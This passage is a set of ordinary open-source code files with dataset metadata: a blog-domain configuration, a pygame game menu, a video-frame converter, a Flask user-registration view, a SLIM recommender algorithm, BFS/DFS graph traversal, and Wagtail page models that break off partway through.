'lucidchart.com': 200,\n    'simpleisbetterthancomplex.com': 300,\n    'jasonrudolph.com': 150,\n    'engineering.onshift.com': 125,\n    'eng.lyft.com': 100,\n    'spikesandstories.com': 500,\n    'labs.spotify.com': 1800,\n    'lifehacker.com': 300,\n    'wired.com': 550,\n    'meowni.ca': 300,\n    'microsoft.com': 500,\n    'svpg.com': 200,\n    'worldpositive.com': 1200,\n    'aws.amazon.com': 4700,\n\n    'leanqa.wordpress.com': 0,\n\n    'snap-ci.com': default_domain_devation,\n    'sumo.ly': default_domain_devation,\n    'bit.ly': default_domain_devation,\n    'shar.es': default_domain_devation,\n    'go.shr.lc': default_domain_devation,\n    'dlvr.it': default_domain_devation,\n    'getpocket.com': default_domain_devation,\n    'leanuxmas.com': default_domain_devation,\n    'fb.me': default_domain_devation,\n    'tinyurl.com': default_domain_devation,\n    'ow.ly': default_domain_devation,\n\n}\n\nnot_blog_urls = {\n    'youtu.be',\n    'youtube.com',\n    'vimeo.com',\n\n    'slideshare.net',\n\n    # podcast\n    'pca.st',\n\n    'gist.github.com',\n\n    'meetup.com',\n\n    # conference\n    'sched.co',\n\n    # words out...\n    'dev.to/dev3l',\n    'softwaredev3loper.wordpress.com',\n}\n", "repo_name": "DEV3L/twitter-learning-journal", "sub_path": "scripts/blogs.py", "file_name": "blogs.py", "file_ext": "py", "file_size_in_byte": 7960, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "app.twitter_learning_journal.services.logging_service.LoggingService", "line_number": 10, "usage_type": "call"}, {"api_name": "app.twitter_learning_journal.cachers.webpage_cacher.WebpageCacher", "line_number": 49, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 52, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 56, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 56, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 67, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 71, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 71, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 81, "usage_type": "call"}, {"api_name": "app.twitter_learning_journal.transformers.transform_str.remove_ignore_characters_from_str", "line_number": 82, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 124, "usage_type": "call"}]}
{"seq_id": "21474169591", "text": "import pygame as pg\r\nimport Button\r\nimport Options\r\nimport CRUD\r\nimport Player as PL\r\nimport MapNavigation \r\nimport screens\r\n\r\npg.init()\r\nclock = pg.time.Clock()\r\nfps = 60\r\n# background = pg.image.load(\"market.png\")\r\n\r\n#game window\r\nbottom_panel = 150\r\nscreen_width = 800\r\nscreen_height = 400 + bottom_panel\r\ngameSettings = Options.Gameoptions()\r\n# screen = pg.display.set_mode((screen_width, screen_height))\r\npg.display.set_caption('Battle')\r\n\r\n# start_img = pg.image.load('start_btn.png').convert_alpha()\r\n\r\ngameSettings = Options.Gameoptions()\r\ngameSettings.loadfile()\r\nWIN = pg.display.set_mode((gameSettings.WIDTH, gameSettings.WIDTH))\r\npplayer=PL.Player(\"human\",3,200 ,gameSettings)\r\npplayer.X_cord=6\r\n        \r\n \r\ndef mainmenu(screen, player):\r\n     \r\n    if player.optionSettings.art == True:\r\n        screen.blit(player.optionSettings.BGs[4], (0,0))\r\n    newGameButton = Button.button(600, 200 ,150 ,40,\"New game\",  \"Black\", screen,40) \r\n    LoadButton = Button.button(600, 300 ,150 ,40,\"Load\", \"Black\", screen,40)\r\n    OptionsButton = Button.button(600, 400 ,150 ,40,\"Options\",  \"Black\", screen,40)\r\n    exitButton = Button.button(600, 600 ,150 ,40,\"Exit\", \"Black\", screen,40)\r\n    run = True\r\n    while run:\r\n        for event in pg.event.get():\r\n            if event.type == pg.QUIT:\r\n                pg.quit()\r\n            elif newGameButton.draw_button():\r\n                screens.charcreation(screen, player)\r\n                # MapNavigation.main(screen, player)\r\n                if player.optionSettings.art == True:\r\n                        screen.blit(player.optionSettings.BGs[4], (0,0))\r\n            elif LoadButton.draw_button():\r\n                \r\n                while CRUD.CRUD(screen, player, 1):  \r\n                    MapNavigation.main(screen, player)\r\n                if player.optionSettings.art == True:\r\n                    screen.blit(player.optionSettings.BGs[4], (0,0))\r\n                        \r\n            elif OptionsButton.draw_button():\r\n                screens.manage_settings(screen, player.optionSettings)\r\n                if player.optionSettings.art == True:\r\n                        screen.blit(player.optionSettings.BGs[4], (0,0))\r\n                \r\n            # elif CreditsButton.draw_button():\r\n            #     screens.creditscreen(screen)\r\n            #     screen.fill((0,0,0))\r\n            #     if player.optionSettings.art == True:\r\n            #             screen.blit(player.optionSettings.BGs[4], (0,0))\r\n                \r\n            elif exitButton.draw_button():\r\n                run = False \r\n        pg.display.update()\r\n        \r\n        \r\n        \r\n\r\nmainmenu(WIN, pplayer)", "repo_name": "nikiyyy/PyGladiator", "sub_path": "PyGladiator V3 (thesis)/Menu.py", "file_name": "Menu.py", "file_ext": "py", "file_size_in_byte": 2643, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Options.Gameoptions", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Options.Gameoptions", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "Player.Player", "line_number": 27, "usage_type": "call"}, {"api_name": "Button.button", "line_number": 35, "usage_type": "call"}, {"api_name": "Button.button", "line_number": 36, "usage_type": "call"}, {"api_name": "Button.button", "line_number": 37, "usage_type": "call"}, {"api_name": "Button.button", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 43, "usage_type": "call"}, {"api_name": "screens.charcreation", "line_number": 45, "usage_type": "call"}, {"api_name": "CRUD.CRUD", "line_number": 51, "usage_type": "call"}, {"api_name": "MapNavigation.main", "line_number": 52, "usage_type": "call"}, {"api_name": "screens.manage_settings", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 69, "usage_type": "attribute"}]}
{"seq_id": "17151466198", "text": "import cv2\nimport os\n\nvidcap = cv2.VideoCapture(r'yourpath.avi')\nsuccess, image = vidcap.read()\ncount = 0\nsuccess = True\nwhile success:\n    cv2.imwrite(\"frame%d.png\" % count, image)  # save frame as JPEG file\n    success, image = vidcap.read()\n    count += 1\n\nvidcap = cv2.VideoCapture(r'yourpath2')\nsuccess, image = vidcap.read()\nsuccess = True\nwhile success:\n    cv2.imwrite(\"frame%d.png\" % count, image)  # save frame as JPEG file\n    success, image = vidcap.read()\n    count += 1\n\nimage_folder = r'where_is_project'\nvideo_name = 'output.mp4'\nframe_rate = float(24) #masterrace\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\nimages = []\nfor i in range(500):\n    images.append(os.path.join(image_folder, \"frame%d.png\" % i))\n\nframe = cv2.imread(os.path.join(image_folder, images[0]))\nheight, width, layers = frame.shape\n\nvideo = cv2.VideoWriter(video_name, fourcc, frame_rate, (width, height))\nfor image in images:\n    video.write(cv2.imread(os.path.join(image_folder, image)))\nvideo.release()\ncv2.destroyAllWindows()\n", "repo_name": "Fifu352/Converter", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "36395126234", "text": "import requests\nfrom flask import request, flash, render_template, redirect, url_for\nfrom flask_login import current_user\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, validators\n\nfrom app import email_utils, config\nfrom app.auth.base import auth_bp\nfrom app.config import CONNECT_WITH_PROTON\nfrom app.auth.views.login_utils import get_referral\nfrom app.config import URL, HCAPTCHA_SECRET, HCAPTCHA_SITEKEY\nfrom app.db import Session\nfrom app.email_utils import (\n    email_can_be_used_as_mailbox,\n    personal_email_already_used,\n)\nfrom app.events.auth_event import RegisterEvent\nfrom app.log import LOG\nfrom app.models import User, ActivationCode, DailyMetric\nfrom app.utils import random_string, encode_url, sanitize_email, canonicalize_email\n\n\nclass RegisterForm(FlaskForm):\n    email = StringField(\"Email\", validators=[validators.DataRequired()])\n    password = StringField(\n        \"Password\",\n        validators=[validators.DataRequired(), validators.Length(min=8, max=100)],\n    )\n\n\n@auth_bp.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n    if current_user.is_authenticated:\n        LOG.d(\"user is already authenticated, redirect to dashboard\")\n        flash(\"You are already logged in\", \"warning\")\n        return redirect(url_for(\"dashboard.index\"))\n\n    if config.DISABLE_REGISTRATION:\n        flash(\"Registration is closed\", \"error\")\n        return redirect(url_for(\"auth.login\"))\n\n    form = RegisterForm(request.form)\n    next_url = request.args.get(\"next\")\n\n    if form.validate_on_submit():\n        # only check if hcaptcha is enabled\n        if HCAPTCHA_SECRET:\n            # check with hCaptcha\n            token = request.form.get(\"h-captcha-response\")\n            params = {\"secret\": HCAPTCHA_SECRET, \"response\": token}\n            hcaptcha_res = requests.post(\n                \"https://hcaptcha.com/siteverify\", data=params\n            ).json()\n            # return something like\n            # {'success': True,\n            #  'challenge_ts': '2020-07-23T10:03:25',\n            #  'hostname': '127.0.0.1'}\n            if not hcaptcha_res[\"success\"]:\n                LOG.w(\n                    \"User put wrong captcha %s %s\",\n                    form.email.data,\n                    hcaptcha_res,\n                )\n                flash(\"Wrong Captcha\", \"error\")\n                RegisterEvent(RegisterEvent.ActionType.catpcha_failed).send()\n                return render_template(\n                    \"auth/register.html\",\n                    form=form,\n                    next_url=next_url,\n                    HCAPTCHA_SITEKEY=HCAPTCHA_SITEKEY,\n                )\n\n        email = canonicalize_email(form.email.data)\n        if not email_can_be_used_as_mailbox(email):\n            flash(\"You cannot use this email address as your personal inbox.\", \"error\")\n            RegisterEvent(RegisterEvent.ActionType.email_in_use).send()\n        else:\n            sanitized_email = sanitize_email(form.email.data)\n            if personal_email_already_used(email) or personal_email_already_used(\n                sanitized_email\n            ):\n                flash(f\"Email {email} already used\", \"error\")\n                RegisterEvent(RegisterEvent.ActionType.email_in_use).send()\n            else:\n                LOG.d(\"create user %s\", email)\n                user = User.create(\n                    email=email,\n                    name=form.email.data,\n                    password=form.password.data,\n                    referral=get_referral(),\n                )\n                Session.commit()\n\n                try:\n                    send_activation_email(user, next_url)\n                    RegisterEvent(RegisterEvent.ActionType.success).send()\n                    DailyMetric.get_or_create_today_metric().nb_new_web_non_proton_user += 1\n                    Session.commit()\n                except Exception:\n                    flash(\"Invalid email, are you sure the email is correct?\", \"error\")\n                    RegisterEvent(RegisterEvent.ActionType.invalid_email).send()\n                    return redirect(url_for(\"auth.register\"))\n\n                return render_template(\"auth/register_waiting_activation.html\")\n\n    return render_template(\n        \"auth/register.html\",\n        form=form,\n        next_url=next_url,\n        HCAPTCHA_SITEKEY=HCAPTCHA_SITEKEY,\n        connect_with_proton=CONNECT_WITH_PROTON,\n    )\n\n\ndef send_activation_email(user, next_url):\n    # the activation code is valid for 1h\n    activation = ActivationCode.create(user_id=user.id, code=random_string(30))\n    Session.commit()\n\n    # Send user activation email\n    activation_link = f\"{URL}/auth/activate?code={activation.code}\"\n    if next_url:\n        LOG.d(\"redirect user to %s after activation\", next_url)\n        activation_link = activation_link + \"&next=\" + encode_url(next_url)\n\n    email_utils.send_activation_email(user.email, activation_link)\n", "repo_name": "simple-login/app", "sub_path": "app/auth/views/register.py", "file_name": "register.py", "file_ext": "py", "file_size_in_byte": 4898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4235, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask_wtf.FlaskForm", "line_number": 23, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 24, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 24, "usage_type": "call"}, {"api_name": "wtforms.validators", "line_number": 24, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 25, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 27, "usage_type": "call"}, {"api_name": "wtforms.validators", "line_number": 27, "usage_type": "name"}, {"api_name": "wtforms.validators.Length", "line_number": 27, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 33, "usage_type": "name"}, {"api_name": "app.log.LOG.d", "line_number": 34, "usage_type": "call"}, {"api_name": "app.log.LOG", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 36, "usage_type": "call"}, {"api_name": "app.config.DISABLE_REGISTRATION", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.config", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "app.config.HCAPTCHA_SECRET", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "app.config.HCAPTCHA_SECRET", "line_number": 50, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 51, "usage_type": "call"}, {"api_name": "app.log.LOG.w", "line_number": 59, "usage_type": "call"}, {"api_name": "app.log.LOG", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 64, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent", "line_number": 65, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent.ActionType", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "app.config.HCAPTCHA_SITEKEY", "line_number": 70, "usage_type": "name"}, {"api_name": "app.utils.canonicalize_email", "line_number": 73, "usage_type": "call"}, {"api_name": "app.email_utils.email_can_be_used_as_mailbox", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 75, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent", "line_number": 76, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent.ActionType", "line_number": 76, "usage_type": "attribute"}, {"api_name": "app.utils.sanitize_email", "line_number": 78, "usage_type": "call"}, {"api_name": "app.email_utils.personal_email_already_used", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 82, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent", "line_number": 83, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent.ActionType", "line_number": 83, "usage_type": "attribute"}, {"api_name": "app.log.LOG.d", "line_number": 85, "usage_type": "call"}, {"api_name": "app.log.LOG", "line_number": 85, "usage_type": "name"}, {"api_name": "app.models.User.create", "line_number": 86, "usage_type": "call"}, {"api_name": "app.models.User", "line_number": 86, "usage_type": "name"}, {"api_name": "app.auth.views.login_utils.get_referral", "line_number": 90, "usage_type": "call"}, {"api_name": "app.db.Session.commit", "line_number": 92, "usage_type": "call"}, {"api_name": "app.db.Session", "line_number": 92, "usage_type": "name"}, {"api_name": "app.events.auth_event.RegisterEvent", "line_number": 96, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent.ActionType", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.models.DailyMetric.get_or_create_today_metric", "line_number": 97, "usage_type": "call"}, {"api_name": "app.models.DailyMetric", "line_number": 97, "usage_type": "name"}, {"api_name": "app.db.Session.commit", "line_number": 98, "usage_type": "call"}, {"api_name": "app.db.Session", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 100, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent", "line_number": 101, "usage_type": "call"}, {"api_name": "app.events.auth_event.RegisterEvent.ActionType", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}, {"api_name": "app.config.HCAPTCHA_SITEKEY", "line_number": 110, "usage_type": "name"}, {"api_name": "app.config.CONNECT_WITH_PROTON", "line_number": 111, "usage_type": "name"}, {"api_name": "app.auth.base.auth_bp.route", "line_number": 31, "usage_type": "call"}, {"api_name": "app.auth.base.auth_bp", "line_number": 31, "usage_type": "name"}, {"api_name": "app.models.ActivationCode.create", "line_number": 117, "usage_type": "call"}, {"api_name": "app.models.ActivationCode", "line_number": 117, "usage_type": "name"}, {"api_name": "app.utils.random_string", "line_number": 117, "usage_type": "call"}, {"api_name": "app.db.Session.commit", "line_number": 118, "usage_type": "call"}, {"api_name": "app.db.Session", "line_number": 118, "usage_type": "name"}, {"api_name": "app.config.URL", "line_number": 121, "usage_type": "name"}, {"api_name": "app.log.LOG.d", "line_number": 123, "usage_type": "call"}, {"api_name": "app.log.LOG", "line_number": 123, "usage_type": "name"}, {"api_name": "app.utils.encode_url", "line_number": 124, "usage_type": "call"}, {"api_name": "app.email_utils.send_activation_email", "line_number": 126, "usage_type": "call"}, {"api_name": "app.email_utils", "line_number": 126, "usage_type": "name"}]}
{"seq_id": "7934321078", "text": "import numpy as np\nimport scipy.sparse\n\nfrom sklearn.linear_model import SGDRegressor\n\nfrom recpack.algorithms.base import ItemSimilarityMatrixAlgorithm\nfrom recpack.matrix import Matrix, to_csr_matrix\n\n\nclass SLIM(ItemSimilarityMatrixAlgorithm):\n    \"\"\"Implementation of the SLIM model.\n\n    SLIM Model described in Ning, Xia, and George Karypis.\n    \"Slim: Sparse linear methods for top-n recommender systems.\"\n    2011 IEEE 11th International Conference on Data Mining. IEEE, 2011\n\n    Code loosely based on https://github.com/Mendeley/mrec\n\n    :param l1_reg: l1 regularization coefficient, defaults to 0.0005\n    :type l1_reg: float, optional\n    :param l2_reg: l2 regularization coefficient, defaults to 0.00005\n    :type l2_reg: float, optional\n    :param fit_intercept: Whether the intercept should be estimated\n        or not during gradient descent.\n        If False, the data is assumed to be already centered., defaults to True\n    :type fit_intercept: bool, optional\n    :param ignore_neg_weights: Remove negative weights after training\n        to increase speed of predict, defaults to True\n    :type ignore_neg_weights: bool, optional\n    \"\"\"\n\n    def __init__(self, l1_reg=0.0005, l2_reg=0.00005, fit_intercept=True, ignore_neg_weights=True):\n\n        super().__init__()\n\n        self.l1_reg = l1_reg\n        self.l2_reg = l2_reg\n        # Translate regression parameters into the expected sgd parameters\n        self.alpha = self.l1_reg + self.l2_reg\n        self.l1_ratio = self.l1_reg / self.alpha\n        self.fit_intercept = fit_intercept\n        self.ignore_neg_weights = ignore_neg_weights\n\n        # Construct internal model\n        self.model = SGDRegressor(\n            penalty=\"elasticnet\",\n            fit_intercept=fit_intercept,\n            alpha=self.alpha,\n            l1_ratio=self.l1_ratio,\n        )\n\n    def _compute_similarities(self, work_matrix, item):\n        new_matrix = work_matrix.tocoo()\n        target = new_matrix.getcol(item)\n        data_indices = np.where(new_matrix.col == item)[0]\n        new_matrix.data[data_indices] = 0\n        self.model.fit(new_matrix, target.toarray().ravel())\n\n        w = self.model.coef_\n        if self.ignore_neg_weights:\n            w[w < 0] = 0\n        return w\n\n    def _fit(self, X: Matrix):\n        \"\"\"Fit a similarity matrix based on data X.\n\n        X is an m x n binary matrix of user item interactions.\n        Where m is the number of users, and n the number of items.\n        \"\"\"\n        X = to_csr_matrix(X, binary=True)\n\n        # Prep sparse representation inputs\n        data = []\n        row = []\n        col = []\n        # Loop over all items\n        for j in range(X.shape[1]):\n            # Compute the contribution values of all other items for the item j\n            # using linear regression\n            w = self._compute_similarities(X, j)\n            # Update sparse repr. inputs.\n            # w[i,j] = the contribution of item i to predicting item j\n            for i in w.nonzero()[0]:\n                data.append(w[i])\n                row.append(i)\n                col.append(j)\n\n        # Construct similarity matrix.\n        # Shape is determined by 2nd dimension of the shape of input matrix X\n        self.similarity_matrix_ = scipy.sparse.csr_matrix((data, (row, col)), shape=(X.shape[1], X.shape[1]))\n", "repo_name": "LienM/recpack", "sub_path": "recpack/algorithms/slim.py", "file_name": "slim.py", "file_ext": "py", "file_size_in_byte": 3315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "recpack.algorithms.base.ItemSimilarityMatrixAlgorithm", "line_number": 10, "usage_type": "name"}, {"api_name": "sklearn.linear_model.SGDRegressor", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 55, "usage_type": "call"}, {"api_name": "recpack.matrix.Matrix", "line_number": 64, "usage_type": "name"}, {"api_name": "recpack.matrix.to_csr_matrix", "line_number": 70, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse.csr_matrix", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 90, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 90, "usage_type": "name"}]}
{"seq_id": "22977618745", "text": "from collections import defaultdict, deque\n\n\ndef bfs(p, q, n):\n    adj = defaultdict(list)\n    for i in range(len(p)):\n        adj[p[i]].append(q[i])\n        adj[q[i]].append(p[i])\n\n    bfslist = []\n    vis = [False] * (n)\n    for i in range(1, n+1, 1):\n        if vis[i-1] == False:\n            q = deque()\n            q.append(i)\n            vis[i-1] = True\n            while len(q) > 0:\n                node = q.popleft()\n                bfslist.append(node)\n\n                for j in adj[node]:\n                    if vis[j-1] == False:\n                        q.append(j)\n                        vis[j-1] = True\n\n    return bfslist\n\n\ndef dfs(p, q, n):\n    adj = defaultdict(list)\n    for i in range(len(p)):\n        adj[p[i]].append(q[i])\n        adj[q[i]].append(p[i])\n\n    def dfshelper(x):\n        nonlocal dfslist\n        dfslist.append(x)\n        vis[x-1] = True\n        for i in adj[x]:\n            if vis[i-1] == False:\n                dfshelper(i)\n\n    vis = [False] * n\n    dfslist = []\n\n    for i in range(1, n+1, 1):\n        if vis[i-1] == False:\n            dfshelper(i)\n\n    return dfslist\n\np = list(map(int, input().strip().split()))\nq = list(map(int, input().strip().split()))\nn = int(input())\nprint(bfs(p, q, n))\nprint(dfs(p, q, n))\n", "repo_name": "rajat844/Python-OOPs-and-DS", "sub_path": "Graph/bfs.py", "file_name": "bfs.py", "file_ext": "py", "file_size_in_byte": 1254, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 5, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 14, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "39635333550", "text": "from django.db import models\nfrom django.forms import CheckboxSelectMultiple\nfrom django.utils import timezone\n\nfrom wagtail.fields import StreamField, RichTextField\nfrom wagtail.models import Page, Orderable\nfrom wagtail.admin.panels import FieldPanel, InlinePanel, MultiFieldPanel\nfrom wagtail.search import index\n\nfrom modelcluster.fields import ParentalKey, ParentalManyToManyField\nfrom modelcluster.tags import ClusterTaggableManager\nfrom taggit.models import TaggedItemBase\n\nfrom .blocks import ButtonBlock\nfrom .settings import get_grid_item_parent_page_types, get_grid_index_page_subpage_types\n\n\nclass GridItemTag(TaggedItemBase):\n    \"\"\"\n    Object to hold existing tags for Grid Items.\n    \"\"\"\n\n    content_object = ParentalKey(\n        \"GridItem\",\n        related_name=\"tagged_items\",\n        on_delete=models.CASCADE,\n    )\n\n\nclass GridCategory(models.Model):\n    \"\"\"\n    Categories which a grid item can belong to. A grid item can belong to many\n    categories. Categories can be selected from the top of the grid index page.\n    \"\"\"\n\n    name = models.CharField(max_length=255)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        verbose_name_plural = \"grid categories\"\n\n\nclass GridItem(Page):\n    \"\"\"\n    The fields needed to properly display a grid item.\n    The template will omit any fields not included automagically.\n    \"\"\"\n\n    parent_page_types = get_grid_item_parent_page_types()\n\n    class Meta:\n        verbose_name = \"Grid Item\"\n\n    summary_image = models.ForeignKey(\n        \"wagtailimages.Image\",\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n    )\n    summary_text = RichTextField(\n        \"Summary\",\n        default=\"\",\n        help_text='The summary will appear in the item \"card\" view.',\n    )\n    description_image = models.ForeignKey(\n        \"wagtailimages.Image\",\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n        help_text=\"This image will appear in the expanded area when populated.\",\n    )\n    description_text = RichTextField(\n        \"Full Description\",\n        null=True,\n        blank=True,\n        help_text=\"This description will appear in the expanded area when populated.\",\n    )\n    description_video = models.URLField(\n        null=True,\n        blank=True,\n        help_text=\"This video will be embedded in the expanded area when populated.\",\n    )\n    landing_page_text = RichTextField(\n        \"Landing Page Text\",\n        null=True,\n        blank=True,\n        help_text=\"This is the text which will appear on the grid item's landing page.\",\n    )\n    buttons = StreamField(ButtonBlock(), null=True, use_json_field=True)\n    tags = ClusterTaggableManager(through=GridItemTag, blank=True)\n    categories = ParentalManyToManyField(\"GridCategory\", blank=True)\n    modified = models.DateTimeField(\"Page Modified\", null=True)\n\n    search_fields = Page.search_fields + [\n        index.SearchField(\"summary_text\"),\n        index.SearchField(\"description_text\"),\n        index.SearchField(\"landing_page_text\"),\n    ]\n\n    CARD_PANELS = [\n        FieldPanel(\"summary_image\"),\n        FieldPanel(\"summary_text\"),\n    ]\n\n    DETAIL_PANELS = [\n        FieldPanel(\"description_image\"),\n        FieldPanel(\"description_text\"),\n        FieldPanel(\"description_video\"),\n        FieldPanel(\"landing_page_text\"),\n    ]\n\n    META_PANELS = [\n        FieldPanel(\"tags\"),\n        FieldPanel(\"categories\", widget=CheckboxSelectMultiple),\n    ]\n\n    content_panels = Page.content_panels + [\n        MultiFieldPanel(\n            CARD_PANELS,\n            heading=\"Card Information\",\n            classname=\"collapsible\",\n        ),\n        MultiFieldPanel(\n            DETAIL_PANELS,\n            heading=\"Expanded Description & Page Information\",\n            classname=\"collapsible\",\n        ),\n        FieldPanel(\n            \"buttons\",\n        ),\n        MultiFieldPanel(\n            META_PANELS,\n            heading=\"Metadata\",\n            classname=\"collapsible\",\n        ),\n    ]\n\n    def save(self, *args, **kwargs):\n        self.modified = timezone.now()\n        super().save(*args, **kwargs)\n\n\nclass GridIndexGridItemRelationship(Orderable, models.Model):\n    \"\"\"\n    Allows the content creator to associate Grid Items on a\n    Grid Index Page.\n    \"\"\"\n\n    grid_relationship = ParentalKey(\n        \"GridIndexPage\",\n        related_name=\"grid_index_grid_item_relationship\",\n        on_delete=models.CASCADE,\n    )\n    grid_item = models.ForeignKey(\n        \"GridItem\",\n        related_name=\"+\",\n        help_text=\"Add a grid item to the page\",\n        verbose_name=\"Grid Items\",\n        on_delete=models.CASCADE,\n    )\n    panels = [FieldPanel(\"grid_item\")]\n\n\nclass GridIndexPageAbstract(models.Model):\n    \"\"\"\n    Index page for Grid Items.\n    This links the grid items to the categories and provides a page to display them on.\n\n    This abstract class exists to allow compositing the index page with other page\n    functionality by future users. GridIndexPage below makes this concrete.\n    \"\"\"\n\n    subpage_types = get_grid_index_page_subpage_types()\n\n    hero_background_image = models.ForeignKey(\n        \"wagtailimages.Image\",\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name=\"+\",\n        help_text=\"The background image for the hero section. This triggers the \"\n        \"section to be displayed if an image is selected.\",\n    )\n\n    hero_logo_image = 